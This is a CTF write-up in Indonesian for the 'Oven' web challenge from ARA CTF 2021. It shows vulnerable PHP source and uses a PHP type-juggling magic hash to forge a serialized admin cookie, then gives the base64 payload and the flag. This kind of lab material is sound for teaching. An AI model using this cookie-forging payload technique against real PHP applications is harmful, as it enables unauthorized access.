[ARA CTF 2021] Oven

ctf, web

Diberikan soal dan sebuah website dengan source code seperti berikut.

Oven

Deskripsi
Gunakan oven saat memanggang kue!

Source Code

<?php

include("flag.php");

class Token{
    public $username;
    public $password;
}

function flag($token){
    $pass_verif = "\}Fr@!-a";
    if($token->username == 'admin'){
        if(strlen($token->password)>strlen($pass_verif)){
            if(hash('sha256',$token->password) == hash('sha256',$pass_verif)){
                echo $flag;
            }
            else{
                echo 'Burn your oven';
            }
        }
        else{
            echo 'Baking in progress';
        }
    }
    else{
        echo 'No Flag for you. Sadge :(';
    }
}


if(!isset($_COOKIE['bake_here'])){
    $token = new Token;
    $token->username = 'user';
    $token->password = 'user';
    $cookies = base64_encode(serialize($token));
    setcookie('bake_here',$cookies);
    echo "Preparing your oven ......";
}
else{
    flag(unserialize(base64_decode($_COOKIE['bake_here'])));
}
?>

Setelah dilakukan pembacaan pada Source Code yang diberikan, kita dapat mendapatkan flag jika beberapa kondisi dibawah ini terpenuhi semua.

Kondisi pertama #

flag(unserialize(base64_decode($_COOKIE['bake_here'])));

Mengisi $_COOKIE['bake_here'] dengan payload yang tepat, payloadnya berupa PHP Object yang di encode ke base64.

Kondisi kedua #

if($token->username == 'admin'){

Jika $token->username (yang dapat kita kontrol melalui input) adalah admin

Kondisi ketiga #

if(strlen($token->password)>strlen($pass_verif)){

Jika panjang string dari $token->password (yang dapat kita kontrol) lebih panjang dari $pass_verif. Adapun $pass_verif = "\}Fr@!-a";, yang berarti panjang string $token->password harus lebih dari 8

Kondisi keempat #

if(hash('sha256',$token->password) == hash('sha256',$pass_verif)){

Jika hash SHA256 dari $token->password sama dengan hash SHA256 dari $pass_verif.
Mungkin langsung terbesit kita dapat memasukkan $token->password adalah value yang sama dengan $pass_verif, tetapi ini tidak dapat dilakukan, mengingat $token->password harus lebih panjang dari $pass_verif

Nah, pada kondisi keempat terdapat bug PHP Type Juggling yang dapat kita manfaatkan untuk memenuhi kondisi tersebut

Lalu dilakukan pencarian magic hashes yang dapat digunakan. Setelah itu didapatkan beberapa magic hashes pada github ini. String yang akan di test 34250003024812

Local

Sip mantab, 34250003024812 juga lebih panjang dari $pass_verif. Tinggal craft payload yang akan dikirim ke Cookie bake_here.

<?php
class Token{
    public $username = "admin";
    public $password = "34250003024812";
}

$token = new Token;
echo base64_encode(serialize($token));

?>

Payload: Tzo1OiJUb2tlbiI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7czo4OiJwYXNzd29yZCI7czoxNDoiMzQyNTAwMDMwMjQ4MTIiO30=

Flag

ara2021{cl4551c_typ3_ju66ling}